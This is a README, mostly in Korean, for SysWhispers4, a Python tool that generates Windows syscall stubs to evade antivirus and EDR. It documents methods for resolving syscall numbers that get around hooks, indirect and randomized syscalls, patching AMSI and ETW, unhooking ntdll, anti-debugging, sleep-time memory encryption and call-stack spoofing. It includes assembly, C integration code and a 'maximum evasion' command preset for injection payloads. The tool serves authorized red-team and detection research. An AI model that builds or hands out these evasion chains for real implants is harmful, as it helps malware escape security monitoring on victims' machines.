SysWhispers4
직접 및 간접 시스템 호출을 통한 AV/EDR 우회
Windows NT 3.1부터 Windows 11 24H2까지 · x64 · x86 · WoW64 · ARM64
SysWhispers4는 Python 기반 syscall 스텁 생성기로, ntdll.dll에 AV/EDR 제품이 설치한 사용자 모드 후크를 우회하여 NT 커널 함수를 직접 호출하는 C/ASM 코드를 생성합니다.
SysWhispers → SysWhispers2 → SysWhispers3의 계보를 잇는 이 버전은 현재까지 가장 포괄적인 SSN 해석 전략, 호출 방법, 우회 기능을 추가합니다.
진화: SysWhispers 1 → 4
기능 비교 매트릭스
| 기능 | SW1 | SW2 | SW3 | SW4 |
|---|
| SSN 해석 | | | | |
| 정적 임베디드 테이블 | ✅ | ✅ | ✅ | ✅ |
| Hell's Gate (런타임 ntdll 파싱) | ❌ | ✅ | ✅ | ✅ |
| Halo's Gate (후크 이웃 스캔) | ❌ | ❌ | ✅ | ✅ |
| Tartarus' Gate (근거리+원거리 JMP) | ❌ | ❌ | 부분 | ✅ |
| FreshyCalls (VA 기준 정렬) | ❌ | ❌ | ❌ | ✅ 신규 |
| SyscallsFromDisk (KnownDlls의 클린 ntdll 사용) | ❌ | ❌ | ❌ | ✅ 신규 |
| RecycledGate (FreshyCalls + opcode 검증) | ❌ | ❌ | ❌ | ✅ 신규 |
| 하드웨어 브레이크포인트 (DR 레지스터 + VEH) | ❌ | ❌ | ❌ | ✅ 신규 |
| 정적 + 동적 폴백 | ❌ | ❌ | ❌ | ✅ 신규 |
| 호출 방법 | | | | |
내장 (직접 syscall) | ✅ | ✅ | ✅ | ✅ |
| 간접 (ntdll 가젯으로 jmp) | ❌ | ❌ | ✅ | ✅ |
| 무작위 간접 (호출별 엔트로피) | ❌ | ❌ | 부분† |
† SW3의 무작위 방식에는 레지스터 손상 버그가 있었습니다. RDTSC가 edx(arg2)를 덮어씁니다. SW4는 rdtsc 전에 rdx → r11을 올바르게 저장하고 스택을 건드리지 않고 복원합니다.
v4.1의 새로운 기능
새로운 SSN 해석 방법
SyscallsFromDisk (--resolve from_disk)
\KnownDlls\ntdll.dll에서 ntdll의 클린 복사본을 매핑하고 언후킹된 .text 섹션에서 SSN을 읽습니다. 모든 인라인 후크를 완전히 우회하므로 EDR은 이 읽기를 결코 볼 수 없습니다.```c
// Flow: NtOpenSection → NtMapViewOfSection → read clean SSNs → NtUnmapViewOfSection
// SSNs come from the on-disk image, guaranteed hook-free
SW4_SyscallsFromDisk(pNtdll);
#### RecycledGate (`--resolve recycled`)
FreshyCalls (sort-by-VA)의 안정성과 Hell's Gate의 opcode 검증을 결합합니다. 각 함수에 대해:
1. 정렬된 위치에서 후보 SSN을 가져옵니다 (FreshyCalls)
2. 스텁이 깨끗하면 SSN이 opcode와 일치하는지 확인합니다 (이중 확인)
3. 스텁이 후킹된 경우, 정렬된 인덱스의 SSN을 신뢰합니다 (후킹 저항)
**사용 가능한 가장 견고한 방법** — 후크가 스텁을 재배열하거나 opcode를 수정하더라도, VA-sort는 올바른 SSN을 제공합니다.
#### HW Breakpoint (`--resolve hw_breakpoint`)
**디버그 레지스터** (DR0–DR3)와 Vectored Exception Handler (VEH)를 사용하여 (후킹되었을 수 있는) 함수 바이트를 읽지 않고 SSN을 추출합니다:
1. DR0을 ntdll 스텁의 `syscall` 명령 주소로 설정합니다.
2. VEH 핸들러를 등록합니다.
3. 스텁을 호출합니다 — VEH가 `EXCEPTION_SINGLE_STEP`을 포착합니다.
4. 중단점에서 EAX에 SSN이 포함되어 있습니다 — 이를 캡처합니다.
5. DR0을 지우고, syscall을 건너뛰고, 계속 진행합니다.
후크가 실행을 리디렉션하더라도 작동합니다. 중단점은 `mov eax, <SSN>` 이후에 발생하기 때문입니다.
### 새로운 회피 기법
#### AMSI 우회 (`--amsi-bypass`)
`amsi.dll!AmsiScanBuffer`를 패치하여 `E_INVALIDARG`를 반환하게 함으로써, AMSI가 스캔 인수가 유효하지 않다고 생각하게 만듭니다. `amsi.dll`이 로드되지 않은 경우, 성공을 반환합니다 (패치할 것이 없음).```c
SW4_PatchAmsi(); // Call early, before any suspicious operations
ntdll 언후킹 (--unhook-ntdll)
\KnownDlls\에서 ntdll의 정상 사본을 매핑하고, 후킹된 .text 섹션을 정상 바이트로 덮어씁니다:```c
// Call BEFORE SW4_Initialize() for best results
SW4_UnhookNtdll(); // Remove ALL inline hooks from ntdll
SW4_Initialize(); // Now FreshyCalls/Hell's Gate reads clean stubs
This completely removes all inline hooks from ntdll, making subsequent NT API calls go through original code paths.
#### Anti-Debugging (`--anti-debug`)
디버거/분석 도구의 존재를 감지하기 위해 6가지 검사를 수행합니다:
| 검사 | 기법 | 감지 대상 |
|-------|-----------|---------|
| 1 | `PEB.BeingDebugged` | 표준 디버거 연결 |
| 2 | `NtGlobalFlag` (0x70) | 디버거가 설정한 힙 디버그 플래그 |
| 3 | `RDTSC` 시간 델타 | 단일 스텝 / 트레이싱 |
| 4 | `NtQueryInformationProcess(ProcessDebugPort)` | 커널 디버그 포트 |
| 5 | 힙 플래그 분석 | 디버그 힙 표시자 |
| 6 | 계측 콜백 감지 | EDR 계측 훅 |```c
if (!SW4_AntiDebugCheck()) {
// Debugger detected — bail out or take evasive action
ExitProcess(0);
}
슬립 암호화 (--sleep-encrypt)
Ekko 스타일 슬립 중 메모리 암호화를 통해 주기적 메모리 스캐너를 회피:
RDTSC를 통해 무작위 XOR 키 생성
- 자체
.text 섹션을 XOR 암호화
- 복호화를 위해 대기 가능한 타이머 설정 + APC 큐에 추가
- 알림 가능 상태로 슬립
- 타이머 발생 → APC가
.text 복호화 → 실행 재개```c
// Instead of Sleep(5000), use:
SW4_SleepEncrypt(5000); // .text is encrypted during the entire sleep
우회:
- 수면 중 메모리 스캐너 (코드는 암호화된 깨진 데이터로 표시됨)
- 주기적 모듈 스캔 (시그니처가 일치하지 않음)
- 인메모리 PE에 대한 YARA/시그니처 스캔
---
## 모든 기능 (기존 + 신규)
### SSN 해석 방법 (총 8가지)
| Method | Flag | Hook Resistance | Speed | Notes |
|--------|------|:-:|:-:|-------|
| Static | `--resolve static` | 없음 | 가장 빠름 | 내장된 j00ru 테이블, 런타임 파싱 없음 |
| Hell's Gate | `--resolve hells_gate` | 낮음 | 빠름 | opcode 바이트를 읽음 — 후크되면 실패 |
| Halo's Gate | `--resolve halos_gate` | 중간 | 빠름 | 이웃 스캔 (±8 스텁) |
| Tartarus' Gate | `--resolve tartarus` | 높음 | 빠름 | E9/FF25/EB/CC 후크 감지, ±16 이웃 |
| FreshyCalls | `--resolve freshycalls` | **매우 높음** | 중간 | VA로 정렬 — 함수 바이트를 읽지 않음 |
| SyscallsFromDisk | `--resolve from_disk` | **최대** | 느림 | 디스크에서 깨끗한 ntdll 매핑 |
| RecycledGate | `--resolve recycled` | **최대** | 중간 | FreshyCalls + opcode 교차 검증 |
| HW Breakpoint | `--resolve hw_breakpoint` | **최대** | 느림 | DR 레지스터 + VEH |
### 호출 방법 (총 4가지)
| Method | Flag | ntdll 내 RIP | 디스크의 Syscall | 호출별 무작위 |
|--------|------|:-:|:-:|:-:|
| Embedded | `--method embedded` | ❌ | ✅ | ❌ |
| Indirect | `--method indirect` | ✅ | ❌ | ❌ |
| Randomized | `--method randomized` | ✅ | ❌ | ✅ (가젯 64개) |
| Egg Hunt | `--method egg` | ❌ | ❌ | ❌ |
### 회피 옵션 (총 8가지)
| 기능 | Flag | 설명 |
|---------|------|-------------|
| 난독화 | `--obfuscate` | 스텁 재배열 + 14가지 정크 명령 변형 |
| SSN 암호화 | `--encrypt-ssn` | 무작위 컴파일 타임 키로 XOR |
| 스택 스푸핑 | `--stack-spoof` | ntdll에서 가져온 합성 반환 주소 |
| ETW 우회 | `--etw-bypass` | `EtwEventWrite`를 패치하여 ACCESS_DENIED 반환 |
| AMSI 우회 | `--amsi-bypass` | `AmsiScanBuffer`를 패치하여 E_INVALIDARG 반환 |
| ntdll 언후킹 | `--unhook-ntdll` | `\KnownDlls\`에서 깨끗한 `.text` 재매핑 |
| 안티디버그 | `--anti-debug` | 6가지 탐지 검사 (PEB, 타이밍, 힙 등) |
| 슬립 암호화 | `--sleep-encrypt` | 슬립 중 Ekko 스타일 XOR `.text` |
---
## 빠른 시작```bash
git clone https://github.com/CyberSecurityUP/SysWhispers4
cd SysWhispers4
# Optional: update syscall table from j00ru (for --resolve static)
python scripts/update_syscall_table.py
# Common preset — FreshyCalls + direct syscall (recommended start)
python syswhispers.py --preset common
# Injection preset — indirect via Tartarus' Gate
python syswhispers.py --preset injection --method indirect --resolve tartarus
# Maximum evasion: all techniques combined
python syswhispers.py --preset stealth \
--method randomized --resolve recycled \
--obfuscate --encrypt-ssn --stack-spoof \
--etw-bypass --amsi-bypass --unhook-ntdll \
--anti-debug --sleep-encrypt
# Clean ntdll from disk — bypasses ALL hooks
python syswhispers.py --preset injection \
--method indirect --resolve from_disk \
--unhook-ntdll
# Hardware breakpoint SSN extraction
python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx \
--resolve hw_breakpoint
# Egg hunt (no syscall opcode on disk)
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
--method egg --resolve halos_gate
# ARM64 (Windows on ARM)
python syswhispers.py --preset common --arch arm64
# x86 / WoW64
python syswhispers.py --preset injection --arch x86
# MinGW / Clang (GAS inline assembly)
python syswhispers.py --preset common --compiler mingw
명령줄 참조```
python syswhispers.py [OPTIONS]
Function selection (at least one required):
-p, --preset PRESET common | injection | evasion | token | stealth |
file_ops | transaction | all
-f, --functions FUNCS NtAllocateVirtualMemory,NtCreateThreadEx,...
Target:
-a, --arch ARCH x64 (default) | x86 | wow64 | arm64
-c, --compiler COMPILER msvc (default) | mingw | clang
Techniques:
-m, --method METHOD embedded (default) | indirect | randomized | egg
-r, --resolve RESOLVE freshycalls (default) | static | hells_gate |
halos_gate | tartarus | from_disk | recycled |
hw_breakpoint
Evasion / Obfuscation:
--obfuscate Randomize stub order + inject junk instructions
--encrypt-ssn XOR-encrypt SSN table at rest
--stack-spoof Include synthetic call stack frame helper
--etw-bypass Include user-mode ETW patch function
--amsi-bypass Include AMSI bypass (AmsiScanBuffer patch)
--unhook-ntdll Include ntdll unhooking (remap from KnownDlls)
--anti-debug Include anti-debugging checks (6 techniques)
--sleep-encrypt Include Ekko-style sleep encryption
Output:
--prefix PREFIX Symbol prefix (default: SW4)
-o, --out-file OUTFILE Output filename base (default: SW4Syscalls)
--out-dir OUTDIR Output directory (default: .)
Info:
--list-functions Print all 64 supported NT functions and exit
--list-presets Print all preset definitions and exit
-v, --verbose Verbose output / traceback on error
---
## 생성된 파일
| 파일 | 용도 |
|---|---|
| `SW4Syscalls_Types.h` | NT 유형 정의 — 구조체, 열거형, typedef |
| `SW4Syscalls.h` | 함수 프로토타입 + `SW4_Initialize()` + 회피 API 선언 |
| `SW4Syscalls.c` | 런타임 SSN 해석 + 헬퍼 함수 + 회피 구현 |
| `SW4Syscalls.asm` | MASM 시스템 콜 스텁 (MSVC) |
| `SW4Syscalls_stubs.c` | GAS 인라인 어셈블리 스텁 (MinGW / Clang) |
---
## 통합 (MSVC)
1. Visual Studio 프로젝트에 4개 파일을 모두 추가합니다
2. MASM 활성화: **프로젝트 → 빌드 사용자 지정 → masm (.targets)**
3. 시작 시 초기화 함수를 호출합니다```c
#include "SW4Syscalls.h"
int main(void) {
// Step 1 (optional): Remove ALL hooks from ntdll
// Call BEFORE Initialize for best results
SW4_UnhookNtdll();
// Step 2: Resolve SSNs (required for all dynamic methods)
if (!SW4_Initialize()) return 1;
// Step 3 (optional): Evasion patches
SW4_PatchEtw(); // Suppress user-mode ETW events
SW4_PatchAmsi(); // Bypass AMSI scanning
// Step 4 (optional): Verify clean environment
if (!SW4_AntiDebugCheck()) {
// Debugger detected — take evasive action
return 0;
}
// Use NT functions directly — all via syscall, no API hooks
PVOID base = NULL;
SIZE_T size = 0x1000;
NTSTATUS st = SW4_NtAllocateVirtualMemory(
GetCurrentProcess(), &base, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
// Use encrypted sleep instead of Sleep()
// SW4_SleepEncrypt(5000); // .text encrypted during sleep
return NT_SUCCESS(st) ? 0 : 1;
}
통합 (MinGW/Clang)```bash
x86_64-w64-mingw32-gcc -masm=intel
example.c SW4Syscalls.c SW4Syscalls_stubs.c
-o example.exe -lntdll
---
## SSN 해석 기법
### 정적
생성 시점에 번들된 j00ru 테이블에서 syscall 번호를 포함합니다. 런타임 ntdll 파싱이 없습니다 — 가장 빠르고 단순합니다. 포함된 테이블은 탐지 신호가 되므로, 은닉을 위해서는 동적 방법을 사용하세요.
### FreshyCalls *(기본값 — 권장)*
ntdll에서 모든 `Nt*` 내보내기를 가상 주소순으로 정렬합니다. 정렬된 인덱스 = SSN입니다. **모든** `Nt*` 스텁이 후킹되어 있어도 작동합니다 — 함수 바이트가 아닌 VA만 읽습니다.
### Hell's Gate
각 ntdll 스텁에서 `mov eax, <SSN>` opcode를 직접 읽습니다:```
4C 8B D1 B8 [SSN_lo] [SSN_hi] 00 00
스텁의 첫 바이트가 EDR 후크에 의해 덮어써지면 실패합니다.
Halo's Gate
Hell's Gate를 확장합니다: 스텁이 후크되면 정렬된 내보내기 목록에서 인접한 스텁(±8)을 스캔하고 ±오프셋 연산으로 SSN을 유추합니다.
Tartarus' Gate
Halo's Gate를 확장하여 모든 EDR 후크 패턴을 탐지합니다:
E9 xx xx xx xx — 근거리 상대 JMP
FF 25 xx xx xx xx — 메모리를 통한 원거리 절대 JMP
EB xx — 짧은 JMP
CC — int3 중단점
E8 xx xx xx xx — call (드묾)
양방향으로 최대 16개의 인접 항목을 스캔합니다.
SyscallsFromDisk (모든 후크 우회)
\KnownDlls\ntdll.dll에서 완전히 깨끗한 ntdll 복사본을 매핑하고 원본 그대로의 .text 섹션에서 SSN을 읽습니다. EDR 후크는 무관합니다 — 후크된 복사본에서는 절대 읽지 않기 때문입니다.
RecycledGate (가장 견고함)
최대 신뢰도를 위해 FreshyCalls와 Hell's Gate를 결합합니다:
- 기본: VA 정렬 인덱스 (FreshyCalls)
- 검증: 스텁이 깨끗하면 opcode 교차 검사
- 폴백: 스텁이 후크되면 VA 정렬을 신뢰
EDR이 후크와 내보내기 테이블 항목을 모두 수정하더라도 VA 정렬은 여전히 올바른 SSN을 제공합니다.
HW Breakpoint (고급)
CPU 디버그 레지스터(DR0–DR3)를 사용하여 ntdll 내부의 syscall 명령에 하드웨어 중단점을 설정합니다. VEH(벡터 예외 처리기)가 중단점을 포착하고 해당 시점에 EAX에서 SSN을 읽습니다. 잠재적으로 변조된 바이트를 읽지 않습니다.
호출 방법
Embedded — Direct Syscall
syscall은 여러분의 스텁 안에 있습니다. 커널 진입 시 RIP는 PE 내부를 가리키므로, non-ntdll RIP를 검사하는 EDR에 탐지될 수 있습니다.
Indirect
미리 찾아둔 ntdll.dll 내부의 syscall;ret 가젯으로 점프합니다. 커널 진입 시 RIP가 ntdll 내부에 있는 것처럼 보이므로 — 정상 API 호출과 동일하게 보입니다.
Randomized Indirect
Indirect와 유사하지만, 호출할 때마다 최대 64개의 풀에서 무작위 가젯을 선택합니다. 특정 ntdll 가젯 주소를 허용 목록에 추가하는 EDR 휴리스틱을 우회합니다. 엔트로피를 위해 RDTSC를 사용합니다 — API 호출이 필요 없습니다.```asm
SW4_NtAllocateVirtualMemory PROC
mov r10, rcx ; arg1 → r10 (syscall ABI)
mov r11, rdx ; SAVE rdx — rdtsc trashes edx!
rdtsc ; eax:edx = TSC (clobbers edx)
xor eax, edx ; mix
and eax, 63 ; pool index (0..63)
lea rcx, [SW4_GadgetPool]
mov rcx, QWORD PTR [rcx + rax8] ; random gadget
mov rdx, r11 ; RESTORE rdx
mov eax, DWORD PTR [SW4_SsnTable + N4]
jmp rcx ; → random ntdll syscall;ret
SW4_NtAllocateVirtualMemory ENDP
### 에그 헌트
스텁은 `syscall` 대신 8바이트 무작위 에그 마커를 포함합니다. `SW4_HatchEggs()`는 시작 시 `.text` 섹션을 스캔하여 각 에그를 `0F 05 90 90 90 90 90 90`로 교체합니다. **디스크의 바이너리에는 `syscall` opcode가 나타나지 않습니다.**
---
## EDR 탐지 환경
| Detection Vector | Embedded | Indirect | Randomized | Egg |
|---|:-:|:-:|:-:|:-:|
| 사용자 모드 후크 우회 | ✅ | ✅ | ✅ | ✅ |
| syscall 시 RIP가 ntdll 내부에 위치 | ❌ | ✅ | ✅ | ❌ |
| 디스크의 바이너리에 `0F 05` 없음 | ✅¹ | ✅ | ✅ | **✅** |
| 호출별 무작위 가젯 | ❌ | ❌ | **✅** | ❌ |
| 클린 콜 스택 | with `--stack-spoof` | with `--stack-spoof` | with `--stack-spoof` | with `--stack-spoof` |
| 슬립 중 메모리 스캔 회피 | with `--sleep-encrypt` | with `--sleep-encrypt` | with `--sleep-encrypt` | with `--sleep-encrypt` |
| 커널 ETW-Ti 우회 | ❌ | ❌ | ❌ | ❌ |
¹ `syscall` opcode는 자신의 PE `.text` 섹션에 있습니다 — ntdll이 아닌 코드 주소에.
> **ETW-Ti** (`Microsoft-Windows-Threat-Intelligence`)는 호출 방식과 관계없이 커널 내부에서 트리거됩니다. 커널 접근 없이 이를 우회할 수 있는 사용자 모드 기술은 없습니다.
---
## 우회 기술 심층 분석
### XOR 암호화된 SSN 테이블 (`--encrypt-ssn`)
SSN 값은 무작위 컴파일 타임 키와 XOR되어 저장됩니다. syscall 직전 ASM 스텁에서 복호화됩니다 — 저장 상태의 바이너리에는 평문 SSN이 나타나지 않습니다.```c
#define SW4_XOR_KEY 0xDEADF00DU
// In SSN table: encrypted value
SW4_SsnTable[fi] = sortedIndex ^ SW4_XOR_KEY;
; In stub: decrypt before syscall
mov eax, DWORD PTR [SW4_SsnTable + N*4] ; encrypted
xor eax, SW4_XOR_KEY ; decrypt
syscall
콜 스택 스푸핑 (--stack-spoof)
보이는 반환 주소를 ntdll 내부의 포인터로 대체하는 트램펄린으로, 호출 체인이 스택 워킹 EDR에게 정당한 것처럼 보이게 합니다.```asm
SW4_CallWithSpoofedStack PROC
pop r11 ; save real return address
push [SW4_SpoofReturnAddr] ; push ntdll address instead
push r11 ; real address below (unreachable by walker)
jmp rax ; execute target
SW4_CallWithSpoofedStack ENDP
### ETW 우회 (`--etw-bypass`)
`ntdll!EtwEventWrite`를 패치하여 즉시 `STATUS_ACCESS_DENIED`를 반환하게 함으로써 사용자 모드 ETW 이벤트 전달을 억제합니다.
> 이 기능은 커널 모드 ETW-Ti 콜백을 우회하지 **않습니다**. 승인된 작업에서만 사용하세요.
### ntdll 언후킹 (`--unhook-ntdll`)
`\KnownDlls\`에서 깨끗한 ntdll을 매핑하고 `memcpy`를 사용하여 깨끗한 `.text` 섹션을 후킹된 섹션 위에 복사합니다:```
Flow: NtOpenSection → NtMapViewOfSection → FindSection(".text") →
VirtualProtect(RWX) → memcpy(clean→hooked) → VirtualProtect(RX) → cleanup
SSN 해석이 깨끗한 스텁을 읽도록 SW4_Initialize() 전에 호출하세요.
정크 명령어 (--obfuscate)
스텁 명령어 사이에 삽입되는 14가지 서로 다른 무해한 x64 명령 변형:```asm
nop ; classic NOP
xchg ax, ax ; 2-byte NOP
lea r11, [r11] ; no-op LEA
nop DWORD PTR [rax] ; multi-byte NOP
xchg r11, r11 ; register swap (no-op)
test r11d, 0ABh ; flags-only, result discarded
push 042h / pop r11 ; push-pop noise
fnop ; FPU no-op
lea rsp, [rsp + 00h] ; stack identity LEA
; ... and more
---
## 지원되는 기능 (64)```bash
python syswhispers.py --list-functions
프리셋
권장 구성
최소 탐지 범위 (레드팀)```bash
python syswhispers.py --preset stealth
--method randomized --resolve recycled
--obfuscate --encrypt-ssn --stack-spoof
--unhook-ntdll --etw-bypass --amsi-bypass
--anti-debug --sleep-encrypt
### 빠르고 간단함 (CTF / 빠른 테스트)```bash
python syswhispers.py --preset common
과도하게 후킹된 EDR 우회```bash
python syswhispers.py --preset injection
--method indirect --resolve from_disk
--unhook-ntdll --encrypt-ssn
### Process Doppelganging```bash
python syswhispers.py --preset transaction \
--method indirect --resolve freshycalls
Syscall 테이블 범위
scripts/update_syscall_table.py를 통해 j00ru/windows-syscalls에서 업데이트됨:
| OS | 지원 빌드 |
|---|
| Windows 7 | SP1 (7601) |
| Windows 8 / 8.1 | RTM (9200, 9600) |
| Windows 10 | 1507 → 22H2 (10240 → 19045, 14개 빌드) |
아키텍처 지원
프로젝트 구조```
SysWhispers4/
├── syswhispers.py # CLI entry point
├── core/
│ ├── models.py # Enums, dataclasses (8 resolution, 4 invocation methods)
│ ├── generator.py # Code generation engine (~1900 lines)
│ ├── obfuscator.py # Obfuscation: junk, eggs, XOR, string encryption
│ └── utils.py # Hashes (DJB2, CRC32, FNV-1a), data loading
├── data/
│ ├── prototypes.json # 64 NT function signatures
│ ├── presets.json # 8 function presets
│ ├── syscalls_nt_x64.json # x64 SSN table (Win7–Win11 24H2)
│ └── syscalls_nt_x86.json # x86 SSN table
├── scripts/
│ └── update_syscall_table.py # Auto-fetch latest j00ru table
└── examples/
└── example_injection.c # Reference integration example
---
## 보안 고지
SysWhispers4는 보안 연구 및 인가된 침투 테스트 도구입니다. 다음 경우에만 사용하십시오:
- 소유하거나 테스트에 대한 명시적 서면 승인을 받은 시스템에서
- CTF 대회에서
- 방어 연구 목적으로(탐지 개선을 위한 공격 기술 이해)
- 보안 제품 시그니처 개발을 위해
소유하지 않은 시스템에 대한 무단 사용은 대부분의 국가에서 불법입니다.
---
## 참고 자료 및 크레딧
| 리소스 | 저자(들) |
|---|---|
| [SysWhispers](https://github.com/jthuraisamy/SysWhispers) | Jackson T. (jthuraisamy) |
| [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2) | Jackson T. (jthuraisamy) |
| [SysWhispers3](https://github.com/klezVirus/SysWhispers3) | klezVirus |
| [SysWhispers3 fork](https://github.com/RWXstoned/SysWhispers3) | RWXstoned |
| [Windows Syscall Tables](https://github.com/j00ru/windows-syscalls) | j00ru |
| [Hell's Gate](https://github.com/am0nsec/HellsGate) | am0nsec, RtlMclovin |
| [Halo's Gate](https://sektor7.net) | SEKTOR7 |
| [Tartarus' Gate](https://github.com/trickster0/TartarusGate) | trickster0 |
| [FreshyCalls](https://github.com/crummie5/FreshyCalls) | crummie5 |
| [RecycledGate](https://github.com/thefLink/RecycledGate) | thefLink |
| [Ekko Sleep Obfuscation](https://github.com/Cracked5pider/Ekko) | C5pider |
| [LayeredSyscall](https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/) | White Knight Labs |
| [Call Stack Spoofing](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) | WithSecure Labs |
| [SysWhispers Evolution Analysis](https://sudosiddharths.medium.com/analyzing-the-evolution-and-execution-of-syswhispers-1-3-74cbbcdaf397) | Siddharth S. |
---
## 라이선스
이 프로젝트는 교육 및 인가된 보안 테스트 목적으로 배포됩니다.